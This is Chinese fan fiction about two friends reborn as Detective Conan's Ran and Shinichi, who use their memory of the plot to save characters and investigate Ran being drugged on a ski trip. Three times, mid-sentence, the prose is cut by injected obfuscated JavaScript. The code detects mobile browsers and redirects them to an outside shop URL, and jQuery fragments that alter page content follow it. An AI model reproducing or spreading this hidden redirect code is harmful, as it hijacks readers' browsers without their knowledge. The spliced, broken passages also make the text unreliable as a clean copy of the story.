《穿成新兰但互为僚机》
1. 福尔摩斯兰·一
深冬的清晨,青梅竹马按响我家门铃的时间,比平日都要早。
我快速把手里剩下的半块面包全部塞进嘴里,一溜烟冲回房间,拎起昨晚收拾好的行李提包放到大门口,再回到餐桌旁、把剩下的半杯橙汁灌了下去。
坐在餐桌对面的妈妈虽然说了声“别着急”,但对此早已见怪不怪,只是在我套上外套、开始系围巾时,才走过来、又叮嘱了一句“注意安全”。
我迅速蹬上鞋:“放心吧妈妈,这次去山形滑雪是学校的团体活动。旅馆的地理位置我已经研究过了,即便天气突然变得恶劣无法返程,也不会演变成暴风雪山庄那种程度的困境。”
最多也就是发生一两起杀人事件、稍微耽误一点时间嘛。生活在日本的小哥谭——民风淳朴的米花市,大家早就习惯了。
“那样就好。”妈妈将地上的提包递给我,声音带了些揶揄的笑意,“你爸都快要变成你和新一专属的报警接待员了。”
“不也是因此、爸爸才能这么年轻就升任警部嘛。”我打开门锁,准备向妈妈告别,“今天妈妈还要上庭吧?我会时刻关注新闻报道的——当然我知道绝对是妈妈的胜利。”
然后我又想起件事:“对了妈妈,等爸爸加班回来,让他看看我放在二楼书架上的资料,粉色的大文件夹。”
二楼现在是妈妈的律师事务所,但也为我隔开了足以放下书柜的一席之地。
“虽然一开始是为了小说进行的取材,但中途好像真的查到了命案线索,接下来就交给爸爸了。”
妈妈应了声好。
“那我走啦,妈妈后天见——小新,让你久等了!”
我一路小跑着冲向站在楼梯尽头的苹果头少年,并不出意外地对上了他的半月眼:“兰,别叫我小新,总会让我幻视野原新之助。”
我一步跳下最后三级台阶,笑嘻嘻地反问:“野原新之助不好吗?截至我们穿越之前,蜡笔小新的剧场版可都出到31部了。”
两个人并肩向学校的方向迈开步,集合的地点在学校门口。
“啊对对对,祝愿我们这个片场的剧场版也能出到31部。”
“区区31部绝对没问题,可惜我们看不到了。”
我原本还挺期待下一部以长野为舞台的新电影来着——主要是期待诸伏高明在剧场版中堂堂登场。
“但我们可以参演啊。”
……有道理。
“你说得对。”
我望向身旁双手垫在脑后的少年,他看起来对未来无忧无虑,清爽地像是来自运动番片场。
“可惜《事件簿》找不到了,想不起关键词、我就很难想起原作的剧情。”
「关键词」是指我特别的记忆方法,所谓「三点确定一个平面」,我需要三个关键词作为目录,就能将一段记忆藏进我的「记忆宫殿」,需要的时候搜索目录将其找出来。
但这个记忆法还不够完善,这是我穿越之后才意识到的问题,也就是这些关键词本身可能会被遗忘。所以我在当时就将所有能回忆起来、与《名侦探柯南》有关记忆的关键词记录了下来,并为它命名为《江户川少年事件簿》。
然而很遗憾,这本《事件簿》早已在某次工藤家有客人来访、我和新一紧急收拾书房里散乱的书本时,悄无声息地埋没在了浩如烟海的书堆里。
当然,除去已经刻进DNA里的设定和各种梗(例如夏威夷和啊咧咧),还有些即便不放进记忆宫殿也忘不掉的剧情存在——比如昆虫人,蛋糕女,微笑之乡,天才餐厅,东京潮流老太太。
谢谢您,浦泽老师,谢谢您那些年用离谱的原创剧情带给我的快乐和感动。
“别想那么多,就算不记得原作剧情,兰你不也能凭借自己的推理解决问题吗?”
少年没有看我,仍旧自顾自地迈步向前走着。
“没有提前阻止案件又不是侦探的错,你已经救下很多人,我以你为荣。”
我的青梅竹马还真是……
我一巴掌拍在他的背上,笑意完全止不住:“什么就以我为荣,想要荣誉自己去挣,有没有信心下次打赢京极真?”
少年踌躇半晌,最终犹豫又委屈地向我看了过来:“……这个真没有。”
·
那么,到了经典主题曲的旋律响起的时间——
我是初中生侦探毛利兰,括号非原装。
……不对。
重来一次。
我是学园都市某地下研究所的被研究员,某天我和我的青梅竹马在房间里看名侦探柯南剧场版时,研究所突然被人入侵。
当时我完全专注于解决电影里的案件,却没有注意到入侵者携带的炸.弹。
我没能阻止那枚炸.弹被引爆,等我再次醒来时……我的声优已经换人了。
虽然那些家伙多半也死在了那场爆.炸中,不可能知道我穿越到了异世界,但作为新生的婴儿,我还是有了「毛利兰」这个新名字。
为了日后不必疲于掩饰自己的特殊性,能够开口说话之后,我向父母坦白了自己的特别之处。
而我勇敢正义的警察父亲和果决睿智的律师母亲,也在时间流逝中逐渐相信了这一事实,并始终爱我如初。
知道我真实过去的人,除了我的父母外,还有我的青梅竹马——同样重生于此的「工藤新一」和他的父母。
两对父母拥有常人想象不到的共同话题,两个家庭也很快变得亲如一家。
·
在我很小的时候,曾经凭借当时对于原作剧情还很清晰的记忆,成功规避了我爸开枪射伤我妈、然后因为杂七杂八各种原因导致的我妈离家出走和我爸辞职,却无法规避我妈惊为天人的料理手艺。
特别是因为我爸总在加班鲜少回家,被绝命料理荼毒的人就只剩下可怜的我一个。
……我必须立刻想办法拯救这个家。
第一步就从鼓励我妈创业开始。
而我的创业,差不多也是同时开始的。
那句话是怎么说的来着……
哦,身体虽然变小,兴趣爱好却终于能够自由发展。
我跟新一都十分珍惜这来之不易的新人生,特别是温馨幸福的家庭环境。这些年我们都在家长的支持下,各自点亮以前有兴趣却无法接触的技能。
在我的青梅竹马从儿童料理兴趣班、顺利进阶特级厨师考前集训班的时间里,我的足球也成功踢进了u12国家队,距离指哪踢哪就差一双阿笠博士出品的致命球鞋。
——当然,现在我已经拥有了那双鞋,也在进入初中后退出了国家队,现在只是在被学校的足球部邀请出战的时候才参加比赛。
与此同时,新一在空手道领域表现出了超强的天赋,而我也在他父亲的指导下,开始了小说创作。
创作过程基本上还算顺利,穿越之前我曾用相当漫长的时光构思过很多个故事,现在终于能够把故事变成文字。
再加上优作老师的指点与建议,第一本书很快就顺利出版。虽然销
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13327290|140439||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
量一般,但总归是出版社愿意继续出版第二部的程度。
到现在,我已经算得上是个小有名气的小说家——从未公开过真实身份的那种。
·
是在开往滑雪场的长途大巴上。我和园子坐在一起,园子靠窗,我靠过道,过道另一侧是新一。
“每日一问,昨天的练习、新一你成功把特制柱子打断了吗?”
新一默默移开视线:“就快了就快了,距离我打败京极前辈应该不远了。”
我耸耸肩:“其实打不赢也没关系嘛,毕竟他是专攻空手道,而你在空手道之外、还磨练着料理技艺。”
“你说的对——昨晚的创新菜、你爸给了什么评价?”
“昨晚我爸加班没回来,我妈给的评价倒是很高。但她还说,如果我爸在的话,一定会信誓旦旦地说,以他过来人的经验,你绝对是在追求我。”
“我妈也说、她觉得我在追求你。”新一颇为遗憾地摇头,“然而我真的只是喜欢做料理而已。”
旁边的园子突然插话进来,语气听起来有点不满:“真是的,明明每天都那么恩爱的样子,结果不仅没交往,否认喜欢对方的时候竟然连一丝害羞都没有。”
对此我也只能实话实说:“因为、我喜欢的完全不是新一这种类型啊。”
新一举手:“我附议。”
“不过我们喜欢的类型倒是很一致。”
说着我与新一对视一眼,两个人几乎是异口同声——
“金发美少年。”
“金发美少女。”
园子无语:“为什么非要金发不可?”
“也不是非金发不可啦……但金发黑皮帅哥是最优选,特别帅的那种。”
不过不应该是「美少年」,而是童颜到明明29岁、却还是会被6岁幼童喊哥哥的小叔叔。
新一那边最优选也不是「美少女」,他喜欢的是真实年龄不明的神秘大姐姐。
我长叹了口气:“虽然这么说,但如果非要选择终身伴侣的话,我还是会选择新一吧。”
新一再度举手:“我附议。”
园子不解地瞪圆了眼睛:“诶?那是什么意思?明明彼此互相不喜欢、却要跟对方结婚?”
“嘛、别太在意,我觉得像福尔摩斯那样、把一生都奉献给伟大的侦探事业更有价值,完全没有结婚的必要。”
毕竟像我们这样经历复杂的人,应该很难跟同龄人一样,与恋慕的对象心灵相通吧。
·
……怎会如此!
为什么嫌疑人三选一的案件还没有发生,反倒是我先被下药了啊!
头晕、虚弱、心悸、反胃……相对容易弄到的、是降压药或是降糖药?
已经过了学校的时间安排表里睡觉的时间,旅馆的走廊里空无一人。我扶着墙缓缓坐下,强撑着想给新一打电话求救,可药效反应得太快,手机屏幕才按亮,眼前已然变得模糊不清。
太糟了,我只对塞进房间门缝里、写着有事想要委托我、想在深夜与我见面的小卡片提起了警惕,叫新一提前去约定的地点蹲守,却没想到自己的水杯早已被人动了手脚。我上次使用水杯是在晚餐之前,那之后……不行、没办法思考了。
我好像快要死了。
……如果之后被警方问起、有哪些人对我心怀怨恨的时候,新一和园子会怎么回答?
肯定不止三个,考虑到青梅竹马的受欢迎程度,说不定全校的女生都是我的敌人诶……
2. 福尔摩斯兰·二
很神奇,我清楚地知道,自己正在做梦。
因为眼前的一切,都是十岁那年、短暂住院时的经历。
除了陌生的天花板,我甚至能闻到消毒水的味道,也在短暂的适应光线后,看清了坐在病床旁的椅子上、打着盹的苹果头少年。
视力正常,听力正常,四肢触感正常、没有异常疼痛……像我记忆中那样,梦里的我自己干咳两声,哑着嗓子开口:“新一君,你就是这么陪护病人的?”
被我的声音惊醒,少年撑着脸颊的手一个滑脱、脑袋就歪了下去,他打了个激灵,猛地站起身,紧张地一步跨到我床边来。
“小兰你醒了!”在短暂的惊喜过后,紧接着到来的却是苦着脸的抱怨,“真是的,明明说好了要一起承担冒险的后果,结果到最后只有我被骂!”
虽然抱怨着,少年还是小心翼翼地扶着我坐起来、帮我调整了背后的枕头。
“我这不是被爆.炸波及了嘛,反正我们一心同体,你被骂等于我被骂。”我有点心虚地往病房门口的方向瞟了一眼,“我睡了多久?情况如何?我爸和你爸都忙着呢?我妈呢?”
“都忙着呢,你妈被我妈拉去吃饭了。刚才那个犯人被抓到了,听我爸说,你爸差点当场把人手撕了。”
少年演了一个心有余悸的惊恐表情,接着耸了耸肩。
“距离爆.炸已经过去六个小时,小兰你虽然陷入昏迷,但身上只有一点擦伤,没有骨折也没有内出血,一会儿就可以出院,完全不用担心下周的比赛。”
这倒是跟我自我观测的结果一样。
“还有呢?”
“还有你想要救下的人。”他指了指下方,“那位在爆.炸时用身体保护了你的警察先生,正在楼下的病房,应该还没醒。轻度脑震荡加上轻度内出血,最多两个星期就能复职。”
说着,他从一旁的桌上拿了两个纸杯倒上水,其中一杯塞进了我手里。
“恭喜我们的「消灭七日死亡诅咒计划」初次行动大获全胜。”
少年向我举起纸杯。
我也配合地与他碰杯。
“——为我们绝美的青梅竹马情干杯!”
似乎是拉扯到了不知道哪里的擦伤,又或许只是心理作用,我突然觉得全身都疼得厉害,但将纸杯递到嘴边的手却没有丝毫发抖。
我咽下嘴里的水,与对面的少年一起笑弯了眉眼。
就好像回到了旧时光。
·
我是在第一次见到我未来的青梅竹马时,意识到他不是原装的。
……这么说有点怪,但意思就是这么个意思。
当时我所就读的米花幼儿园,与米花市的任何角落一样,潜藏着违法犯罪的可能性。
负责我们班的老师女儿离家出走,妻子因此精神出现问题,最终决定绑架我来替代他们的女儿。为了顺利实施绑架,老师不仅设计离间我和父母、同学,甚至还向我的午餐里下安眠药,致使我午睡时无法醒来而尿床。
前面那点事倒是无所谓——幼儿园的小屁孩、特别是小男孩,从来只有被我骂哭的份。知道我上辈子活到了十五岁的妈妈,在看到「小兰欺负同学」的评语后,也只会提议「如果无法适应幼儿园的话、要不要提前去上小学」……但下药这点决不能容忍!尿床更不能!
所以醒来的当时,我就打电话叫我妈带我去取了血样,然后去我爸那里报案。再然后,当天晚些时候,就把老师以涉嫌投.毒的罪名送了进去。
这起本该归类于「绑架未遂」的案件,在我对原著的记忆中,本应由未来的名侦探工藤新一(以及他背后的老父亲)破获。但实际上,在他转学进来的时候,新老师早已到任,并以自身魅力成功让所有小孩子都忘记了犯罪的旧老师。
然而命运的魔咒并没有完全被打破——具体来说,指那天早上,我爸还是在出门上班前,粗心大意地踩碎了我崭新的幼儿园徽章,而我妈立刻用纸帮我重新做了一个。
因为这个自制徽章,被我骂哭过不少于五次的同班小鬼又一次好了伤疤忘了痛,带着小跟班跑来,指着我说“你的徽章不一样,你没有朋友”。
而在我的好姐妹园子生气地想要反驳他时,身后突然传来一个音色极为熟悉、但语气极为欠扁的声音——
“那么羡慕她的徽章的话,你自己也做一个啊。啊、你该不会是不会做吧?不会吧不会吧,不会真有人因为自己做不到,反而觉得自己了不起吧?”
嗯……考虑到他是在帮我吵架,还是用阴阳怪气来形容他的语气吧。
我也配合地换了个思路,无比诚恳地问向已经被接连几个「不会吧」怼傻的小孩:“你怎么又主动跟我说话?你该不会是喜欢我吧?不会吧不会吧,不会真有人因为喜欢我,所以想着办法被我骂哭吧?”
把人怼到哭着跑走之后,我才扭头去看刚才说话的人,并在彼此看清对方的脸后,同时陷入沉默。
我知道,他脸上明晃晃写着的情绪,跟我一模一样,用文字来描述就是「我未来的青梅竹马怎么跟我记忆中不一样」。
沉默过后,我们互相试探了三句话,最后我叫出了他在他家兄弟里的排行,他叫出了我在研究室里的编号。
青梅竹马相认,双双喜极而泣抱头痛哭。
……事后才听说把老师吓得够呛。
·
“对了,小兰。”苹果头少年一屁股坐在我病床边上,“刚才有人来探望你,虽然我觉得他主要是去探望楼下那位警察先生、顺道来看你一下,但他还买了花。”
说着,他指向了窗台上的花瓶,瓶中正绽放着几枝兰花:“你要是早醒十分钟,就能见到他了。”
我愣了一下,一般来说兰花不适合用来探病,花语可以往哀悼那边靠。但恰好我的名字是「兰」,我也很喜欢兰花,收到兰花反而觉得高兴。
“是认识的人?”
“是初次见面的人,带着毛线帽和口罩,进入病房后才摘下墨镜。”他煞有介事地描述道,“只从打扮上看,放在咱们米花,多少是个经典三选一里、干了其他坏事、第一轮排除法就能出列的烟雾弹备选。”
我的嘴角微微一抽。
“不过呢,他露着眼睛和一点金色的头发,足够我认出他来。”他又遗憾地摇了摇头,“如果换成是你,我想、就算他把自己装在麻袋里封上口,只要开口说句话,你也能立刻分辨出他是谁。”
……嗯?
金发?等一下——
“喂、难道你说的人会是——”
苹果头少年露出微笑:“降谷零
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13327291|140439||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
友谊的小船翻了。
我瞪着他咬牙切齿:“那你不想个办法叫醒我?那可是降谷零!”
“就算那是降谷零,你也是在昏迷啊,又不是在睡觉。”
“……哼、我未来的丈夫大人还说了什么?”
对面的少年露出半月眼来:“什么就「未来的丈夫」啊,你这台词是不是抄了谁的?”
“行,那我换一句,「啊咧咧、好奇怪啊——」”
“STOP(打住)!”
对可能要无数次装傻卖萌说出这句「啊咧咧」的未来深感希望渺茫,苹果头少年痛心疾首地做了个停止的手势,我也配合地闭嘴听他说话。
“他最后说,谢谢你,还有Nice Shot(好球)。”
·
“「Nice Shot」啊……”我双手捂住了滚烫的脸颊,“被夸奖了呢……”
如果能听到面对面的现场版就更好了。
我望着天花板,回忆起踢出那个球的故事背景,也是我躺在这里的原因——
“在警方疏散的时候溜进楼里,等快到时间、就由灵活的新一你来吸引在场警察的注意,在炸.弹的倒计时重新启动时,我用足球把它踢上天……”
是很简单、甚至有点赌命的危险计划。
“回想起来确实是很冒险啦,对于十岁的小孩子来说、被骂是应该的,之后我会好好向两边的爸妈道歉的。”
不久前才吐槽过我让自己独自被责备的人,此刻却用最有效的话安抚了我:“但是我们成功了。”
今天是十一月七日,是四个「七日死亡诅咒」中最早的一个,也是我在转生十年之后、并不算多的、印象还很十分深刻的原作时间节点。
“是啊,我们成功了。”我露出笑容。
那个本应该在今天殉职、却在我踢出球后发现我的存在、并立刻调转逃走的方向扑向我、在最后关头用身体牢牢护住我的人,此刻就睡在楼下的病房。
“犯人被抓住了,那四年后、松田警官也不会死在摩天轮里,接下来就可以专心应对那个组织……”
睡在……楼下的……病房……
“抱歉、我本来是想敲门的。”不知何时被打开的房门露出年轻警察小半张脸,“但是一不留神听到了不得了的事。”
在话音落下后,穿着病号服的萩原研二进入我的病房,并轻轻关好了门。
“本来我是想来责备不听警方的引导、擅自躲在危险的大楼里、差点与我们一起死于非命的小孩子的。”
他的声音听起来清冽却温暖。
“但是现在看来,我必须先道谢不可了。”
窗外的夕阳投满整个房间,他就那样站在阳光下,微笑着、眼瞳中闪烁着光芒。
“谢谢,少年。”
“谢谢,小小姐。”
我的眼泪唰地就下来了。
就像是几个月以前、暑假的时候,在公园的棒球场附近遇见他、与他分别后一样。
是活生生的萩原研二,会眨眼,会笑,会说话。
而不是仅仅存在于松田和千速的记忆里,永远只能以那套殉职时爆处的柄图出现在各种周边上。
“……不用客气。”
我的愿望成真了。
3. 福尔摩斯兰·三
我的突然爆哭成功吓到了年轻的警察先生,几乎没有过弄哭女孩子经验的萩原研二紧张地走近我的病床:“抱歉、我不是故意偷听的。”他诚恳地说道,“我保证不会告诉任何人……小小姐?”
“……兰,你可以叫我小兰。”我抹了一把脸颊上的泪水,自然地接过新一递来的手帕,“我相信你,只是情绪有点激动,现在已经没事了。”
确认我已经完全平静下来,萩原也不再说什么。他的目光在打量过整个房间后,最终落在了我枕边的书上。
“诶——凛酱的系列又出新书了吗?真快啊。”
是《ZERO~公安警察安室凛事件簿》系列的第四部,今天才发售。虽然名字像是轻小说,但本质上是本格推理加上一点浪漫冒险。
我早先说过想要附赠的店头特典明信片,只有去店里买才能拿到,这本应该是我妈帮我买来的。
一旁的新一问道:“萩原警官也读过吗?”
“这一本没有,不过系列作品的三本前作我都读过。”
“——以自己的笔名为主角命名的作者「安室凛」,今年才听说、原来是那位有名的工藤优作老师唯一的弟子。不过说是弟子,文风却完全不同。写到浪漫的剧情、总会有像是少女漫画的场景,虽然从未露过面,但应该是位年轻的女性。”
他眨了眨眼睛:“我的警校同期好友非常喜欢这个系列,而且与作者有信件往来,算是作者的笔友。”
我点点头:“是降谷零君对吧?”
“诶?兰酱怎么会知道?”
“唔、可以说没人比我更清楚了。”
在对方惊讶的目光中,我指了指小说的封面予以提示:“安室凛「AmuroRin」,”又指了指自己病床上方的名牌,“毛利兰「MouriRan」。”
——将一个名字打散重组、就成了另一个名字,就像是伏地魔之于汤姆里德尔。
然后指了指苹果头少年:“工藤新一,优作老师的独生子。”
最后指了指自己:“年轻的女性。”
综上,这其实是我写的书,安室凛是我的笔名。
“诶……诶?!”
我拿起书,将压在下边、赠送的明信片放在床头柜上,拆开书的塑封。
“这本书送给你。”
在给他之前,我先接过新一递来的笔,在扉页上飞快地签下了「安室凛」的名字。
“原作者签名版,当作封口费。”
认真盯着我签完名的萩原接过书,笑容变得有些变幻莫测:“确实和小降谷展示过的签名一样……可如果我没记错,凛酱的第一本书出版于三年前,那时候兰酱应该才开始读小学?”
我点点头:“一年级。”
“小学一年级就写出那样的作品,还有今天的事……”他望着我的眼睛,逐渐严肃了表情,“你们究竟是什么何方神圣?”
来了!经典一问!
这个问题在当前片场的标准回答应该是「江户川柯南,是个侦探」,但很明显、现在还没到时候。
不过,我倒是为此准备了另一个标准回答。
与身旁的青梅竹马对视一眼,我摆正表情,严肃开口:“既然你诚心诚意地发问了——”
中二度不够、仍旧保有羞耻心的新一眼神死地接上话:“我们就大发慈悲地告诉你。”
萩原:“?”
我:“为了防止警视厅业绩下滑——”
新一:“为了减少监狱的空房比率——”
我:“贯彻爱与真实的正义——”
新一:“可爱又迷人的案件使者。”
“福尔摩斯兰。”
“莫里亚蒂新。”
同时:“我们是穿梭在案件现场的侦探队!”
“和平——米花没有凶宅的未来在等着我们——”
“就是这样、不对,新一你怎么成莫里亚蒂了,之前不是说在马普尔小姐、费雪小姐或者你所知道的任意女侦探中选一个吗?”
“因为我感觉不太押韵……这样吧,我是雷斯垂德新、这样好了。”
虽然这段对话极为中二,但对面的成年警官还是非常自然地融入了话题:“是雷斯垂德警官、而不是华生医生吗?”
新一遗憾耸肩:“华生已经有人选了。”
“是我的挚友。”我说。
我的华生是园子。
“虽然她没什么医学知识,却是最相信我的人。”
·
所以睁开眼就看见园子哭肿眼睛的小脸,完全是意料之中的事。
不再是梦境,现在我真的醒了。
恶心反胃的感觉比昏迷前稍有缓和,但还是相当难受,好在注意到我醒来的园子,很快将一杯温水递到了我手里。
“谢谢……我睡了多久?”
“已经是第二天的中午了。”园子的声音还有些哑,“工藤在这里陪了你一夜,刚刚才回去休息。”
她继续向我说明:“发现昏倒的你、送你来医院急救的人,是大阪改方学园的藤泽老师,改方的学生也住在同一所旅馆。工藤没有在约定的地方等到你,沿路也没找到,就去查了走廊的监控,还以为你是被绑架,立刻报了警。”
既然报了警的话……
“警方查到了什么吗?”
“嗯,从你的水杯里查到了降压药的成分……工藤说这是杀人未遂,现在警方还在旅馆进行调查。兰、你有什么头绪吗?”
我回忆着前一晚的行程,眯起了眼睛:“虽然我不想这么说,但是,恐怕犯人是我们学校的人。”
“诶?!”
“还有就是,塞卡片进房间的人、和下药的人应该不是同一个,前者无法保证我会在出门之前、才第一次喝水杯里的水,不然同房间的你一定会发现我的异常,及时为我叫救护车,塞卡片完全是多此一举。”
所以最终演变成我在走廊里遇难应该是个意外。
“确实是这样……对了,本来老师是要通知兰的父母过来的,不过正好工藤的父母都在这里。”园子这才想起了病人醒来的流程,猛地站起来,“我去叫医生过来!”
很快,医生和作为我临时监护人的有希子阿姨就进到病房里来,紧随其后的还有两名警察。在医生进行简单的检查和确认后,我表示现在的身体状况可以接受警方问询,于是病房很快又空了下来。
其实照理说未成年可以由监护人陪同,但我早就习惯跟警方打交道,有希子阿姨也就放心让我一个人应对。
虽然有些无关紧要的例行询问,我确实不太喜欢回答就是了。
比如说——
“你在喝水的时候,没有察觉到什么异常吗?比如说味道不对之类的。”
我干脆摇头:“我的味觉很弱,去年年末被卷入一起事故,头部受伤、丧失了味觉。现在虽然恢复了一点,但也只有一点而已。”
“这件事都有谁知道?”
“父母、老师、亲近的朋友,挺多人的。”我说,“但他们都知道我的味觉正在恢复中,即便他们有什么不为人知的理由想要害我,应该也不会赌这一点,把药下在白水里。”
这个推论得到了对方的认可,于是话题终于向前推进:“你能想到有谁对你心怀怨恨吗?”
“恋慕我青梅竹马的所有人——但我觉得、那份怨恨不至于想让我死。”我小声叹了口气,“那大概就是某起案件的相关者吧,我有协助警方解决过一些案件,在东京都米花市那边。”
我扭头望向窗外,狂风卷着雪花,生动形象地衬托出我此刻悲凉的心境。
“我倒数第二次使用水杯是在晚餐之前,那之后、我们帝丹中学的学生全员在会议室集合,带队的老师重复强调第二天的时间安排。也只有在那个时间,我的水杯与所有人的一起、放在房间后排的角落,在我的视线之外。”
“解散的时候场面有些混乱,我和朋友当时一直在原位聊天,差不多是最后
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13327292|140439||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
离开房间的,没有注意到谁碰过我的水杯。但我确信,当时接近过放置水杯的角落的,只有同校的学生。”
“综上,我想,犯人大概是个根本没想到药物溶解后会有味道、只想着发泄怨恨报复、或许根本不知道会造成多么严重后果的十几岁中学生。”
就怎么说呢,总觉得我好像要走上金田一的道路了。
各种同学好友,不是进去、就是下去,路越走越窄啊……
·
警察离开后,园子也重新回到病房里来。难得的修学活动,却让她完全把时间耗费在医院,实在让我过意不去。但是就此把人赶回去,她一定也很难不再担心我、转而去专心滑雪……
“兰,别想着让我回去哦。”像是猜透了我心中所想,发箍少女认真地望着我,“我和工藤约好了,昨天夜里我不想兰的事、好好休息,今天来医院跟他交换位置。”
“好~好,那我就心安理得地接受园子的照顾。等回去之后,我在工藤家请你吃饭。”
对此,品尝过新一手艺的园子当然没有意见。
我的状态在闲聊间逐渐恢复,到傍晚甚至已经恢复了食欲。而恰好在园子去吃晚饭、我也开始吃病号餐的时候,一位陌生的访客突然上门了。
是送我来医院的、那位改方学园的藤泽朝夏老师。
那是位年轻的女性,短发、戴着眼镜,看起来温柔文静。先前我听园子提起过,她是因为原先的带队老师突然身体不适、才临时顶替的。
而她前来的目的,似乎不只是探望而已。
“我听说过毛利同学的名字,明明只是初中生,却已经协助警方侦破好几起案件,其中甚至包括了命案。”
虽然是大阪的老师,她的用词和语调却完全没有关西腔的味道。
“实际上,就在刚才,滑雪场那边又发生了一起命案。”
啊?
“死亡的是一位演员,与他同行的还有导演、化妆师和他的替身。”她语调平缓地讲述道,“详细情况还不清楚,但大家似乎都觉得是雪女作祟,毕竟过去曾发生过相同的案件。”
“——如果毛利同学能够加入调查,这起案件一定会很快告破吧。”
我露出尴尬而不失礼貌的笑容:“藤泽老师对我的评价也太高了。”
……等一下。
提到改方学园就是服部平次,「次」……「第二位」。
想到了——
「雪女」、「替身」、还有「第二位」,恰好是一组关键词!
「滑雪场的推理对决」,工藤新一与服部平次的初次交锋——我想起这起案件的前因后果和诡计的谜底了!
“「二番目」(第二位)、而不是「二回目」(第二次),为什么?”
诶?
我猛地抬起头:“什么?”
藤泽老师将鬓角的头发掖向耳后:“啊、抱歉,是毛利同学在昏迷的时候说的梦话。”
她的表情看起来无比诚挚,丝毫不像是在说谎或临时找借口。
“我原本以为毛利同学是想说,这是你「第二次」昏迷进入医院急救。但是仔细回忆起来,当时你说的好像是「第二位」,难道是在说什么比赛吗?”
不,只是说服部平「次」不改名、可能就赢不了工藤新「一」,只能屈居第二位而已。
“如果是我的梦话,那应该是在说、我的青梅竹马又一次在空手道比赛中败北了吧。”
“那还真是遗憾。”
我摆摆手:“没什么,他已经习惯了。”
·
藤泽老师离开时,园子还没有回来。我快速拨通了优作老师的号码,打开免提之后、又切换手机界面给另一人写起了邮件。
“优作老师,我听说滑雪场那边发生了命案,我想起了一些事,想向您确认一下情况。”
「千早老师,请帮我调查一个人,是大阪改方学园的老师。虽然只是我的直觉,但总觉得她有哪里不对劲。」
4. 福尔摩斯兰·四
出院回到旅馆是第二天上午。
原定计划到午餐后就要返程,为了不耽误无关群众的时间,在那之前,针对我的这起谋杀未遂案必须要解决掉才行。
不过没想到,最先找上我的人,竟然会是服部平次。
“你就是帝丹中学的毛利兰?我是改方学园的服部平次,跟你同年级。”
黑皮少年长着一张酷似我青梅竹马的脸,不过比起新一更有热血少年的感觉,很有大阪人的风情。
“我听说了,昨晚你只是听完了案件的描述,就解开诡计的手法还找到了犯人。”
我的嘴角略微一抽:“巧合而已。”
可我昨晚明明只是向优作老师确认过自己的记忆有没有出错而已啊,怎么就变成是我解开手法了?优作老师应该不会特意做那种事……
显然,关西的少年侦探并不认为这是巧合:“这次算我输给你,下次我可不会再输了——给你下药的犯人,你已经找到了吗?”
“我刚从医院回来,警方还在调查中,通过监控录像和指纹痕迹没办法确认犯人。”
不过给我塞小卡片的人倒是已经找到了,听新一说,对方似乎是想要向我告白的。但前往约定地点的时候注意到新一的身影,明白自己已经没有机会,所以掉头回了房间。
我还听说那个人是计划告白成功后、约我去外边看星星的。我是不明白深冬的夜晚、顶着风雪出门去看星星这件事浪漫在哪里,但反正他的告白不可能成功,我也就不去深究了。
“不过、你怎么会知道这件事?”
“毕竟住在同一家旅馆,虽然老师说是突发疾病,但那么多警察来来往往,稍微打听一下就知道了。”少年侦探回答,“不过详情还不清楚,那究竟是性质恶劣的恶作剧、还是——”
“是杀人未遂,用的是降压药。”我打断了他的话,用一点信息引出下一个问题,“你可以告诉我藤泽老师在哪吗?是她送我去医院急救,昨天还去探望了我,我想再次向她道谢。”
“昨晚藤泽老师从医院回来,把你的推理转述给警方之后,就因为身体不适又去了医院,跟你应该是同一所医院。”
是她!
我小声抽了口气。
无论藤泽老师所转述的推理来自于躲在病房门外偷听我打电话,还是干脆在房间里安装了窃听器,都不属于一名高中老师的正常行为。昨天我拜托千早老师去调查她、还真是查对了。
当然,调查结果也于清早躺在了我的手机邮箱里——作为警视厅公安部的年轻警部、以及教授我电脑技术的老师,榊千早的工作效率向来令我敬佩。
那份资料看着是没什么特别值得在意的地方,三个月前从乐团辞职,本月初作为声乐老师于改方学园入职,三天前被通知顶替突然身体不适的同事、因而来到这里,但是……
“服部同学,我听说藤泽老师是土生土长的关西人,那她说话时、自然也是关西腔吧。”
“哈?那当然啊,她去探望你的时候,没有跟你说过话吗?”
说了,但说的不是关西腔啊。
如果要给她「特意改用标准语跟我说话」找个理由,那我能想到的,就是她故意卖给我一个破绽,明示自己很可疑。
如果放在以前追原作连载的时候遇到这种情况,那这个藤泽老师已经几乎可以跟贝尔摩德划上等号。可现在我和新一初中还没有毕业,与那个组织也完全没有明面上的接触,根本没理由招来千面魔女啊?
……这事必须从长计议。
·
暂时抛开需要从长计议的问题,当前还有更赶时间的问题要解决。
